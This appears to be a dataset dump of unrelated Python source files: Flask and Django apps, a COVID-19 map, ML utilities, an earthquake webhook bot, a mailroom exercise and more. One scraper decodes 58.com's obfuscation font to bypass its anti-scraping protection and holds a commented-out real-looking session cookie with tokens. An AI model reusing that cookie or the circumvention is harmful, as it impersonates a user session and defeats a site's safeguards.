requests.delete(url,\n params={\"objtype\": \"restaurant\", \"objkey\": restaurant_id})\n return (response.json())\n\n\n#gets the record in restaurant table\n@bp.route('/restaurant/', methods=['GET'])\ndef get_restaurant(restaurant_id):\n headers = request.headers\n # check header here\n if 'Authorization' not in headers:\n return Response(\n json.dumps({\"error\": \"missing auth\"}),\n status=401,\n mimetype='application/json') \n\n payload = {\"objtype\": \"restaurant\", \"objkey\": restaurant_id}\n url = db['name'] + '/' + db['endpoint'][0]\n response = requests.get(url, params=payload)\n return (response.json())\n\n\n\n# All database calls will have this prefix. Prometheus metric\n# calls will not---they will have route '/metrics'. This is\n# the conventional organization.\napp.register_blueprint(bp, url_prefix='/api/v1/populate/')\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n logging.error(\"Usage: app.py \")\n sys.exit(-1)\n\n p = int(sys.argv[1])\n # Do not set debug=True---that will disable the Prometheus metrics\n app.run(host='0.0.0.0', port=p, threaded=True)\n","sub_path":"code/s1/appd.py","file_name":"appd.py","file_ext":"py","file_size_in_byte":8064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"319415289","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\nimport requests\nfrom lxml.etree import HTML\nfrom fontTools.ttLib import TTFont\nimport base64\nfrom io import BytesIO\nimport re\nfrom lxml import etree\n\n\ndef make_font_file(base64_string: str):\n # 将base64编码的字体字符串解码成二进制编码\n bin_data = base64.decodebytes(base64_string.encode())\n return bin_data\n\n\ndef jiema(ziti, code_str):\n result = []\n code_ziti = []\n # ByteIO把一个二进制内存块当成文件来操作\n font = TTFont(BytesIO(make_font_file(code_str)))\n # 找出基础字形名称的列表,例如:uniE648,uniE183......\n c = font['cmap'].tables[0].ttFont.tables['cmap'].tables[1].cmap\n # for i in range(len(ziti)):\n # # 找出每一个字对应的16进制编码\n # print(ziti[i].encode(\"unicode-escape\").decode()[-4:])\n # code = int(ziti[i].encode(\"unicode-escape\").decode()[-4:], 16)\n # print(code)\n # code_ziti.append(code)\n code = int(ziti, 16)\n code_ziti.append(code)\n for code in code_ziti:\n # 根据code键找出c字典中对应的值减一\n x = int(c[code][-2:]) - 1\n result.append(x)\n return result[0]\n\ndef parse(response,html):\n code_str = re.search(\"fangchan-secret';src:url\\('data:application/font-ttf;charset=utf-8;base64,(.*?)'\\) format\\(\",response.text, re.S)\n code_str = code_str.group(1)\n\n # 几室几厅\n roomSize_list = re.findall('

(.*?)

', response.text)\n roomSizeEnd_list = []\n for roomSizeUnCode in roomSize_list:\n roomSizeStr = roomSizeUnCode.replace(' ', '').replace(' ', '')\n fourWord_list = re.findall('&#x(.*?);', roomSizeStr)\n end_Res = roomSizeStr\n for fourWord in fourWord_list:\n jiemaRes = str(jiema(fourWord, code_str))\n end_Res = end_Res.replace('&#x', '').replace(';', '').replace(fourWord, jiemaRes)\n # print(end_Res)\n roomSizeEnd_list.append(end_Res)\n # print(roomSizeEnd_list)\n # print(len(roomSizeEnd_list))\n\n # 价格\n price_list = re.findall('
.*?(.*?)', response.text, re.S)\n priceEnd_list = []\n for priceUnCode in price_list:\n priceStr = priceUnCode.replace(' ', '').replace(' ', '')\n fourWord_list = re.findall('&#x(.*?);', priceStr)\n end_Res = priceStr\n for fourWord in fourWord_list:\n jiemaRes = str(jiema(fourWord, code_str))\n end_Res = end_Res.replace('&#x', '').replace(';', '').replace(fourWord, jiemaRes)\n # print(end_Res)\n end_Res = end_Res + '元/月'\n priceEnd_list.append(end_Res)\n # print(priceEnd_list)\n # print(len(priceEnd_list))\n\n # url\n url_list = html.xpath('//ul[@class=\"listUl\"]/li/div[@class=\"des\"]/h2/a[1]/@href')\n urlEnd_list = []\n for myurl in url_list:\n myurl = 'http:' + myurl\n urlEnd_list.append(myurl)\n # print(urlEnd_list)\n # print(len(urlEnd_list))\n\n # 地址\n addressTree_list = html.xpath('//ul[@class=\"listUl\"]/li//p[@class=\"add\"]')\n addressEnd_list = []\n for addressTree in addressTree_list:\n addressTreeStr = etree.tostring(addressTree)\n address_html = HTML(addressTreeStr)\n address = address_html.xpath('string(//a[2]/text())')\n addressEnd_list.append(address)\n # print(addressEnd_list)\n # print(len(addressEnd_list))\n\n for url, room, price, address in zip(urlEnd_list, roomSizeEnd_list, priceEnd_list, addressEnd_list):\n save_res = room + '||' + price + '||' + address + '||' + url + '\\n'\n save_res = save_res.replace(',', ',').replace('||', ',')\n print(save_res)\n fileName = item.replace('/', '_') + '.csv'\n with open(fileName, 'a') as f:\n f.write(save_res)\n\n\ndef start(item):\n url = 'https://cs.58.com'+item\n headers = {\n 'accept': \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\",\n 'accept-encoding': \"gzip, deflate, br\",\n 'accept-language': \"zh-CN,zh;q=0.9\",\n 'cache-control': \"no-cache,no-cache\",\n # 'cookie': \"f=n; commontopbar_new_city_info=414%7C%E9%95%BF%E6%B2%99%7Ccs; commontopbar_ipcity=sz%7C%E6%B7%B1%E5%9C%B3%7C0; userid360_xml=3F79B48D6FBF2536C92629D9B34B15CD; time_create=1549852360781; id58=c5/njVw2s+qIVcvtAx2tAg==; wmda_uuid=228387efd8cf697727cbeefaa09d67ee; wmda_new_uuid=1; wmda_visited_projects=%3B2385390625025; 58tj_uuid=3a94291f-dadc-427a-9f54-3169c434ea82; als=0; f=n; xxzl_deviceid=pzC1EHHY0LN6sMa2WeC8YtmMH1u%2Fz41XRoE0amTADixZAcv1s6e8gk8iJf7yQ7f%2B; wmda_session_id_2385390625025=1547293952159-934960d6-8052-b458; new_session=1; new_uv=3; utm_source=; spm=; init_refer=https%253A%252F%252Fdocs.qq.com%252Fscenario%252Flink.html%253Furl%253Dhttps%25253A%25252F%25252Fcs.58.com%25252Fyuelu%25252Fzufang%25252F%2526pid%253D300000000%2524XWiBkTFuGPzR%2526cid%253D59253687; xzfzqtoken=rbivvQf7bxLhe%2BLbmRLQCFvAkv1kKRfmPCucxbkKWJLR0%2F1NFk%2BN95ejao%2B1tZvIin35brBb%2F%2FeSODvMgkQULA%3D%3D\",\n 'pragma': \"no-cache\",\n 'upgrade-insecure-requests': \"1\",\n 'user-agent': \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\",\n }\n print(url)\n response = requests.get(url,headers=headers)\n # print(response.text)\n\n html = HTML(response.text)\n\n pageNum = int(html.xpath('string(//div[@class=\"pager\"]/a[last()-1])'))\n\n parse(response,html)\n\n for i in range(2,pageNum+1):\n print('当前页:'+str(i))\n each_url = url+'pn'+str(i)\n print(each_url)\n response = requests.get(each_url,headers=headers)\n html = HTML(response.text)\n parse(response, html)\n\n\nif __name__ == '__main__':\n item_list = []\n with open('地区.txt') as f:\n results = f.readlines()\n for res in results:\n item_list.append(res.strip())\n\n for item in item_list:\n start(item)","sub_path":"58spider/58spider.py","file_name":"58spider.py","file_ext":"py","file_size_in_byte":5982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"422344853","text":"import torch\nimport torch.nn as nn\nimport numpy as np\nimport cv2\nimport SimpleITK as sitk\nimport GPUtil\nimport logging\n\ndef get_logger():\n # Initiate a logger\n logger = logging.getLogger()\n handler = logging.StreamHandler()\n formatter = logging.Formatter(\"%(asctime)s %(levelname)s \\t%(message)s\")\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n logger.setLevel(logging.INFO)\n return logger\n\ndef model_to_syncbn(model):\n def _convert_module_from_bn_to_syncbn(module):\n for child_name, child in module.named_children(): \n if hasattr(nn, child.__class__.__name__) and \\\n 'batchnorm' in child.__class__.__name__.lower():\n TargetClass = globals()['Synchronized'+child.__class__.__name__]\n arguments = TargetClass.__init__.__code__.co_varnames[1:]\n kwargs = {k: getattr(child, k) for k in arguments}\n setattr(module, child_name, TargetClass(**kwargs))\n else:\n _convert_module_from_bn_to_syncbn(child)\n\n preserve_state_dict = model.state_dict()\n _convert_module_from_bn_to_syncbn(model)\n model.load_state_dict(preserve_state_dict)\n return model\n\ndef soft_dice_loss(logits, targets, smooth=1.0): # targets is one hot\n probs = logits.softmax(dim=1)\n n_classes = logits.shape[1]\n loss = 0\n for i_class in range(n_classes):\n if targets[:,i_class].sum()>0:\n loss += dice_loss_perclass(probs[:,i_class], targets[:,i_class], smooth)\n return loss / n_classes\n\ndef categorical_to_one_hot(x, dim=1, expand_dim=False, n_classes=None):\n '''Sequence and label.\n when dim = -1:\n b x 1 => b x n_classes\n when dim = 1:\n b x 1 x h x w => b x n_classes x h x w'''\n # assert (x - x.long().to(x.dtype)).max().item() < 1e-6\n if type(x)==np.ndarray:\n x = torch.Tensor(x)\n assert torch.allclose(x, x.long().to(x.dtype))\n x = x.long()\n if n_classes is None:\n n_classes = int(torch.max(x)) + 1\n if expand_dim:\n x = x.unsqueeze(dim)\n else:\n assert x.shape[dim] == 1\n shape = list(x.shape)\n shape[dim] = n_classes\n x_one_hot = torch.zeros(shape).to(x.device).scatter_(dim=dim, index=x, value=1.)\n return x_one_hot.long() \n\ndef one_hot_to_categorical(x, dim):\n return x.argmax(dim=dim)\n\nclass LossMeter(object):\n # To keep track of most recent, average, sum, and count of a loss metric.\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\ndef custom_collate(batch):\n \"\"\"Take average of the third dimension, and resample each input tensor to match the averaged dimension size\"\"\"\n\n data = [item[0] for item in batch]\n target = [item[1] for item in batch]\n\n min_size = float('inf')\n\n for d in data:\n assert len(d.shape) == 3\n if min_size > d.shape[2]:\n min_size = d.shape[2]\n\n # avg = int(total / len(data))\n # target_shape = (data[0].shape[0], data[0].shape[1], min_size)\n\n for i in range(len(data)):\n data[i] = crop_3d(data[i], min_size)\n data[i] = np.stack([data[i], data[i], data[i]], 0)\n\n target[i] = crop_3d(target[i], min_size)\n target[i] = np.stack([target[i], target[i], target[i]], 0)\n \n # for i in range(len(data)):\n # data[i] = zoom(data[i], target_shape)\n # data[i] = np.float32(np.stack([data[i], data[i], data[i]], 0))\n \n # for i in range(len(target)):\n # target[i] = zoom(target[i], target_shape, )\n # target[i] = np.float32(np.stack([target[i], target[i], target[i]], 0))\n \n # resampled_data = [sITK_resample(d, target_shape) for d in data]\n # resampled_target = [sITK_resample(d, target_shape) for d in target]\n\n # copy data to three channels\n # resampled_data = [np.stack([d, d, d],0) for d in resampled_data]\n # resampled_target = [np.stack([d, d, d],0) for d in resampled_target]\n\n # img_out = torch.from_numpy(np.stack(resampled_data)).float()\n # msk_out = torch.from_numpy(np.stack(resampled_target)).float()\n\n img_out = torch.from_numpy(np.stack(data)).float()\n msk_out = torch.from_numpy(np.stack(target)).float()\n\n return [img_out, msk_out]\n\ndef crop_3d(img, side_len):\n assert img.shape[0] == img.shape[1]\n start = int((img.shape[2] - side_len) / 2)\n return img[:, :, start:start + side_len]\n\ndef sITK_resample(img, target_shape):\n img = sitk.GetImageFromArray(img.numpy())\n\n binarythresh = sitk.BinaryThresholdImageFilter()\n img = binarythresh.Execute(img)\n\n resample = sitk.ResampleImageFilter()\n resample.SetReferenceImage(img)\n resample.SetSize(target_shape)\n img = resample.Execute(img)\n\n out = sitk.GetArrayFromImage(img)\n return out\n\ndef debug_memory():\n import collections, gc, resource, torch\n print('maxrss = {}'.format(\n resource.getrusage(resource.RUSAGE_SELF).ru_maxrss))\n tensors = collections.Counter((str(o.device), o.dtype, tuple(o.shape))\n for o in gc.get_objects()\n if torch.is_tensor(o))\n for line in tensors.items():\n print('{}\\t{}'.format(*line))","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"43577378","text":"from os import listdir\nfrom os.path import isfile, join\n\nimport logging\n\nfrom config import MailerConfig\n\nlogging.basicConfig(filename='app.log', filemode='w', format='%(name)s - %(levelname)s - %(message)s')\n\ndef isPDF(filename):\n\n\tif not isfile(filename):\n\t\tlogging.warning(\"file {} doesn't exist\".format(filename))\n\t\treturn False\n\n\textension = filename.split('.')[-1]\n\tif extension == 'pdf':\n\t\treturn True\n\tlogging.warning(\"file {} is not of type pdf\".format(filename))\n\treturn False\n\n\ndef list_books(mailer_config):\n\tbase_path = mailer_config.BASE_PATH\n\n\tfiles = [file for file in listdir(base_path) \n\t\t\t if isPDF(join(base_path, file))\n\t\t ]\n\n\treturn files\n\n\n","sub_path":"books.py","file_name":"books.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"625431397","text":"from flask import Flask, render_template\nimport pandas as pd\nimport folium\nfrom datetime import datetime, timedelta\nfrom urllib.error import HTTPError\n\napp = Flask(__name__)\n\n\ndef get_raw_data():\n \"\"\"\n This function gets daily covid-19 data from JHU\n :return: utc_date, raw_data and data_url\n \"\"\"\n # get utc date\n utc_datetime = datetime.utcnow()\n utc_date = utc_datetime.strftime('%m-%d-%Y')\n print(f'🌟{utc_date}')\n\n # construct url\n data_url = f'https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_daily_reports/{utc_date}.csv'\n\n # try except url\n try:\n # run this code\n raw_data = pd.read_csv(data_url)\n except HTTPError as e:\n print(f'🌟{e}')\n # run the following if there is an error\n try:\n utc_date = (utc_datetime - timedelta(days=1)).strftime('%m-%d-%Y')\n data_url = f'https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_daily_reports/{utc_date}.csv'\n raw_data = pd.read_csv(data_url)\n print('🌟cannot get today, gotten yesterday')\n except HTTPError as er:\n print(f'🌟 second {er}')\n utc_date = (utc_datetime - timedelta(days=2)).strftime('%m-%d-%Y')\n data_url = f'https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_daily_reports/{utc_date}.csv'\n raw_data = pd.read_csv(data_url)\n print('🌟cannot get today, gotten DAY BEFORE yesterday')\n else:\n # no error? run this\n raw_data = pd.read_csv(data_url)\n print('🌟can get today, gotten today')\n\n # return utc_date, dataframe and url\n return utc_date, raw_data, data_url\n\n\ndef world_total(original_df):\n \"\"\"\n This function sums up cases of confirmed, active, deaths, recovered\n all over the world.\n\n :param original_df: raw, unprocessed pandas dataframe\n :return: confirmed, active, deaths, recovered. all int\n \"\"\"\n all_sum = original_df.sum()\n\n confirmed = format(int(all_sum['Confirmed']), ',')\n active = format(int(all_sum['Active']), ',')\n deaths = format(int(all_sum['Deaths']), ',')\n recovered = format(int(all_sum['Recovered']), ',')\n\n return confirmed, active, deaths, recovered\n\n\ndef top_ten(original_df):\n \"\"\"\n Takes raw data and returns a list of top ten countries by confirmed cases\n :param original_df: raw, unprocessed pandas dataframe\n :return: pandas dataframe of top ten countries by confirmed cases\n \"\"\"\n top_ten_df = original_df.groupby('Country_Region') \\\n .sum()[['Confirmed']] \\\n .sort_values(by=['Confirmed'], ascending=False) \\\n .nlargest(10, 'Confirmed')\n\n # format numbers\n top_ten_df['Confirmed'] = top_ten_df.apply(lambda x: \"{:,}\".format(x['Confirmed']), axis=1)\n\n # convert dataframe to html table\n top_ten_table = top_ten_df.to_html()\n\n tbody_start_index = top_ten_table.index('') + 8\n html_table_body = top_ten_table[tbody_start_index:]\n\n return html_table_body\n\n\ndef add_bubble(bubble_map, data):\n \"\"\"\n Adds bubbles to map object based on data passed in.\n :param bubble_map: this is a folium Map object\n :param data: this is a list of [location name, latitude, longitude, confirmed cases]\n \"\"\"\n folium.Circle(location=[data[1], data[2]],\n radius=float(data[3]) * 1,\n popup=f'{data[0]}\\nConfirmed cases: {data[3]}',\n color='#3186cc', fill=True, fill_color='#3186cc').add_to(bubble_map)\n\n\ndef create_map(original_df):\n \"\"\"\n This function creates a dataframe with required columns from original_df (raw data).\n The new dataframe will be used to create a bubble map chart.\n :param original_df: a pandas dataframe of raw data\n :return: folium map object\n \"\"\"\n\n # get required data\n new_df = original_df[['Combined_Key', 'Lat', 'Long_', 'Confirmed']].dropna()\n\n # create folium map object\n bubble_map = folium.Map(tiles='Stamen toner')\n new_df.apply(lambda x: add_bubble(bubble_map, x), axis=1)\n html_bubble_map = bubble_map._repr_html_()\n\n return html_bubble_map\n\n\n@app.route('/')\ndef home():\n utc_date, raw_data, data_url = get_raw_data()\n confirmed, active, deaths, recovered = world_total(raw_data)\n top_tbody = top_ten(raw_data)\n bubble_map = create_map(raw_data)\n\n return render_template('index.html', utc_date=utc_date, data_url=data_url,\n confirmed=confirmed, active=active, deaths=deaths, recovered=recovered,\n top_tbody=top_tbody,\n bubble_map=bubble_map)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"344833907","text":"#-------------------------------------------------#\n# Title: MailRoom Lab\n# Dev: Rlarge\n# Date: 1/31/2019\n# ChangeLog: (Who, When, What)\n# RLarge, 01/31/2019, Created Script\n\n#-------------------------------------------------#\n\n# Import Modules\nimport sys\n\n\n# Variables\nDonor1 = [\"William Gates III\", 65332543, 377.32]\nDonor2 = [\"Jeff Bezos\", 200.34, 9337.393]\nDonor3 = [\"Paul Allen\", 8394.23, 777.2, 1.32]\nDonor4 = [\"Mark Zuckerberg\", 273, 337692.15, 737361.23]\n\nDonorList = [Donor1, Donor2, Donor3, Donor4]\n\n\nprompt = \"\\n\".join((\"Welcome to the Mail Room Program.\",\n \"Please choose from below options:\",\n \"1 - Send a Thank you\",\n \"2 - Create a Report\",\n \"3 - Exit\",\n \">>> \"))\n\n# Functions\ndef MainMenu():\n print(prompt)\n\n\ndef ViewDonorList():\n # if user types 'list', show them a list of the donor names and reprompt.\n ShowList = input(\"enter 'list' to view current Donor List: \")\n if ShowList.lower() == 'list':\n for x in DonorList:\n print(x[0])\n\ndef SendThankYou():\n # if user types a name not in the list, add that name to the data structure and use it\n while True:\n StrDonorList = str(DonorList)\n DonorNameInput = input(\"Please enter a Donor Name to update: \")\n if DonorNameInput in StrDonorList:\n print(\"Updating {}'s information\".format(DonorNameInput))\n # Struggled to figure out how to update an associated item in the tuple.\n elif DonorNameInput not in StrDonorList:\n NewList = DonorList\n NewEntry = float(input(\"New Name entered. please add donation amount: \"))\n AppendList = (str(DonorNameInput), [NewEntry])\n NewList += AppendList\n AutoPrompt = (\"AutoGen Email Response:\")\n EmailMes = (\"Hello {}, {}On behalf of the Russ Large Donation center, we thank\"\n \" you for your generous donation.\".format(DonorNameInput, '\\n'))\n print(\"{} Has now been added to the donation history.\".format(AppendList))\n print(\"{}{}{}{}{}\".format(AutoPrompt, '\\n', '\\n', EmailMes, '\\n'))\n break\n\n\ndef CreateReport():\n # Generate a report showing formatted items in the DonorList\n Header = \"{:<25}| {:<10} | {:<10} | {:<10}\".format('DonorName', 'Total Given','Num Gifts', 'Average Gift')\n print('\\n')\n print(Header)\n print(\"-\"*67)\n\n for x in DonorList:\n print('{:<25} ${:<15.0f} {:<10} ${:<2.2f}'.format(x[0], sum(x[1:]), len(x[1:]), sum(x[1:]) / len(x[1:])))\n print(\"-\"*67)\n print('\\n')\n\n\n# Presentation\ndef main():\n while True:\n response = input(prompt)\n if response == \"1\":\n ViewDonorList()\n SendThankYou()\n elif response == \"2\":\n CreateReport()\n elif response == \"3\":\n print(\"Thank you for using the Mailroom program.\")\n break\n else:\n print(\"Not a valid option!\")\n\nif __name__ == \"__main__\":\n # This guard blocks against code running automatically if module is imported\n main()","sub_path":"students/RussellLarge/RussellLarge-A03/mailroom.py","file_name":"mailroom.py","file_ext":"py","file_size_in_byte":3122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"222581348","text":"from quakefeeds import QuakeFeed\nimport requests\nprint(\"The script is running and webhook notifications will send!\")\n\n#I KNOW THIS CODE IS NOT EFFICIENT I CODED IT FAST AND REALLY LATE..OK?..OK GOOD! \nwhile True:\n try:\n feed = QuakeFeed(\"4.5\", \"day\")\n title = feed.event_title(0)\n time = feed.time\n depth = feed.depth(0)\n magnitude = feed.magnitude(0)\n\n webhook = \"\" #YOUR WEBHOOK HERE <<<\n\n message = \"\"\"\n ```yaml\n A NEW EARTHQUAKE HAS HIT!\n\n HEADLINE: {}\n\n TIME: {}\n\n DEPTH: {}\n\n MAGNITUDE: {}\n\n COORDINATES: {}\n ```\n \"\"\".format(title, time, depth, magnitude, feed.location(0))\n\n with open(\"/tmp/earthquaketitle.txt\", \"r\") as f:\n content = f.read()\n\n if content != title:\n send = requests.post('{}'.format(webhook), {\n 'username': 'Qolhfs Earthquake Bot',\n 'content': message,\n })\n\n with open(\"/tmp/earthquaketitle.txt\", \"w+\") as f:\n f.write(title)\n except Exception as e:\n with open(\"/root/error.txt\", \"w\") as ffff:\n ffff.write(e)\n\n","sub_path":"earthquake.py","file_name":"earthquake.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"309908645","text":"import matplotlib.pyplot as plt\n\nsquares = [1, 4, 9, 16, 25]\n# 设置线宽\nplt.plot(squares, linewidth=5)\n# 设置标题\nplt.title(\"square numbers\", fontsize=24)\n# 设置x轴\nplt.xlabel(\"value\", fontsize=14)\n# 设置y轴\nplt.ylabel(\"square value\", fontsize=14)\n# 设置刻度标记的大小 axis='both' 表示影响两个轴 labelsize 刻度标记的字号\nplt.tick_params(axis='both', labelsize=14)\nplt.show()\n\n\n\n\n# 可见 生成的图像并不准 见demo1","sub_path":"dataprocess/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"36112855","text":"from elasticsearch_dsl import Date, Text, Integer, Nested, Keyword, DocType\nimport json\nimport logging\n\n\"\"\"\nProvides an ORM-like experience for accessing data in Elasticsearch.\n\nNote the actual schema for Elasticsearch is defined in es_mapping.py; any\nlow-level changes to the index must be represented there as well.\n\"\"\"\n\n\nclass SyncableDocType(DocType):\n \"\"\"\n Represents tables in the source-of-truth that will be replicated to\n Elasticsearch.\n \"\"\"\n # Aggregations can't be performed on the _id meta-column, which necessitates\n # copying it to this column in the doc. Aggregation is used to find the last\n # document inserted into Elasticsearch\n id = Integer()\n\n @staticmethod\n def database_row_to_elasticsearch_doc(row, schema):\n \"\"\"\n Children of this class must have a function mapping a Postgres model\n to an Elasticsearch document.\n\n :param row: A tuple representing a row in Postgres.\n :param schema: A map of each field name to its position in the row.\n :return:\n \"\"\"\n raise NotImplemented(\n 'Model is missing database -> Elasticsearch translation.'\n )\n\n\ndef _parse_description(metadata_field):\n \"\"\"\n Parse the description field from the metadata if available.\n\n Limit to the first 2000 characters.\n \"\"\"\n try:\n if 'description' in metadata_field:\n return metadata_field['description'][:2000]\n except TypeError:\n return None\n\n\nclass Image(SyncableDocType):\n title = Text(analyzer=\"english\")\n identifier = Keyword()\n creator = Text()\n creator_url = Keyword()\n tags = Text(multi=True)\n created_on = Date()\n url = Keyword()\n thumbnail = Keyword()\n provider = Text(analyzer=\"keyword\")\n source = Keyword()\n license = Keyword()\n license_version = Keyword()\n foreign_landing_url = Keyword()\n meta_data = Nested()\n view_count = Integer()\n description = Text(analyzer=\"english\")\n\n class Index:\n name = 'image'\n\n @staticmethod\n def database_row_to_elasticsearch_doc(row, schema):\n def _parse_detailed_tags(json_tags):\n if json_tags:\n parsed_tags = []\n for tag in json_tags:\n if 'name' in tag:\n parsed_tag = {'name': tag['name']}\n if 'accuracy' in tag:\n parsed_tag['accuracy'] = tag['accuracy']\n parsed_tags.append(parsed_tag)\n return parsed_tags\n else:\n return None\n\n return Image(\n _id=row[schema['id']],\n id=row[schema['id']],\n title=row[schema['title']],\n identifier=row[schema['identifier']],\n creator=row[schema['creator']],\n creator_url=row[schema['creator_url']],\n tags=_parse_detailed_tags(row[schema['tags']]),\n created_on=row[schema['created_on']],\n url=row[schema['url']],\n thumbnail=row[schema['thumbnail']],\n provider=row[schema['provider']],\n source=row[schema['source']],\n license=row[schema['license']].lower(),\n license_version=row[schema['license_version']],\n foreign_landing_url=row[schema['foreign_landing_url']],\n meta_data=None,\n view_count=row[schema['view_count']],\n description=_parse_description(row[schema['meta_data']])\n )\n\n\n# Table name -> Elasticsearch model\ndatabase_table_to_elasticsearch_model = {\n 'image': Image\n}\n","sub_path":"ingestion_server/ingestion_server/elasticsearch_models.py","file_name":"elasticsearch_models.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"140224374","text":"from mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.pyplot as plt\nimport numpy as np\n#画布\nfig = plt.figure()\n#3D转化\nax = Axes3D(fig)\n\nx =np.array([0,1,2,3,4,5,6])\ny = np.random.randint(2,20,size=7)\n#print(x)\n#print(y)\n#zdir把哪个轴值变为z轴,,剩下的那个轴值位置在哪\nfor c,z in zip(['r','y','g','b'],[0,5,15,25]):\n ax.bar (x,y,zs=z,zdir='y',color=c,width=1)\nplt.show()\n#生成4个柱状图\n#x = (0,1,2,3,4,5,6)\n#随机生成,范围在【2,20】,生成7个数(2,20,7)\n#生成4个柱状图,依次排列在y轴【0,5,15,25】\n#['r','y','g','b']\n\n","sub_path":"练习.py","file_name":"练习.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"610048678","text":"from django.shortcuts import render,HttpResponse\nfrom .models import Gonglue,Gonglueinfo\nfrom apps.home.models import Hot\nfrom apps.travel.models import Divtravel\nimport random\n# Create your views here.\nfrom django.views.generic import View\ndef gonglue(request):\n gonglue = Gonglue.objects.all()\n hot = Hot.objects.all()\n divtravel = Divtravel.objects.all()\n r1 = random.randint(1, 30)\n r2 = random.randint(10, 40)\n for item in divtravel:\n item.title = item.title[:5]\n\n kwags = {\n 'Gonglue': gonglue,\n 'Hot_label': divtravel[2:6],\n 'Recommend': hot[r1:r1 + 4],\n 'Rank': hot[r2:r2 + 10],\n }\n\n return render(request, 'gonglue/gonglue.html',kwags)\n\nfrom .models import Gonglueinfo\nclass GonglueinfoView(View):\n def get(self,request):\n gonglue = Gonglue.objects.all()\n hot = Hot.objects.all()\n divtravel = Divtravel.objects.all()\n r1 = random.randint(1, 30)\n r2 = random.randint(10, 40)\n for item in divtravel:\n item.title = item.title[:5]\n gid = request.GET.get('gid')\n gonglueinfo = Gonglueinfo.objects.filter(gid=gid)\n if gonglueinfo.count() == 0:\n return HttpResponse('没有找到此pid,请返回重试')\n\n kwags = {\n 'Gonglueinfo': gonglueinfo[0],\n 'Hot_label': divtravel[2:6],\n 'Recommend': hot[r1:r1 + 4],\n 'Rank': hot[r2:r2 + 10],\n }\n\n return render(request, 'gonglue/gonglueinfo.html', kwags)\n\n\n","sub_path":"CenturyBrigade/apps/gonglue/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"590650124","text":"\"\"\"\nVarious REST methods for dealing with\nthe MPD database. Including searching,\nadding and listing.\n\nAuthor: Sean O'Brien\nLicense: BSD\n\"\"\"\nfrom TTTM import app, client\nfrom flask import jsonify\n\n\n@app.route('/api/getPlayLists')\ndef get_PlayLists():\n plst = client.wrap_command(\"listplaylists\")\n tbody = [[p['playlist'],\n {\"onclick\": \"add_playlist\",\n \"name\": \"Add\",\n \"link\": \"api/addPlayList/%s\" % p['playlist']}]for p in plst]\n rsp = {\n \"pageCount\": 5,\n \"pageItems\": 10,\n \"pagination\": False,\n \"style\": {\n \"class\": \"table table-hover transparent overflowTable\",\n \"columnWidth\": None,\n \"width\": None\n },\n \"tbody\": tbody,\n \"thead\": [\"PlayList\", \"Add\"]\n }\n return jsonify(rsp)\n\n\n@app.route('/api/playlist')\ndef get_playlist():\n tracks = client.wrap_command(\"playlistinfo\")\n tbody = [[{\"name\": t['title'],\n \"onclick\": \"play_track\",\n \"link\": 'api/playSong/%s' % t['id']},\n t['artist'],\n t['album']] for t in tracks]\n rsp = {\n \"pageCount\": 5,\n \"pageItems\": 10,\n \"pagination\": False,\n \"style\": {\n \"class\": \"table table-hover transparent overflowTable\",\n \"columnWidth\": None,\n \"width\": None\n },\n \"tbody\": tbody,\n \"thead\": [\"Track\", \"Artist\", \"Album\"]\n }\n return jsonify(rsp)\n\n\n@app.route('/api/list')\ndef list():\n arst = client.list(\"artist\")\n return jsonify(artst)\n\n\n@app.route('/api/list/')\ndef list_album(artist):\n arst = client.list(\"album\", \"Artist\", artist)\n return jsonify(arst)\n\n\n@app.route('/api/list//')\ndef list_songs(artist, album):\n arst = client.list(\"album\", \"Artist\", artist)\n return jsonify(artst)\n\n\n@app.route('/api/search_artist/')\ndef search_db(artist):\n rslt = client.wrap_command(\"find\", args=[\"artist\", artist])\n tbody = [[\n {\n \"onclick\": \"add_song\",\n \"name\": p['title'],\n \"link\": \"api/addSong/%s\" % p['file']\n },\n p['artist'],\n p['date'] if 'date' in p else None\n ]\n for p in rslt\n ]\n rsp = {\n \"pageCount\": 5,\n \"pageItems\": 10,\n \"pagination\": False,\n \"style\": {\n \"class\": \"table table-hover transparent overflowTable\",\n \"columnWidth\": 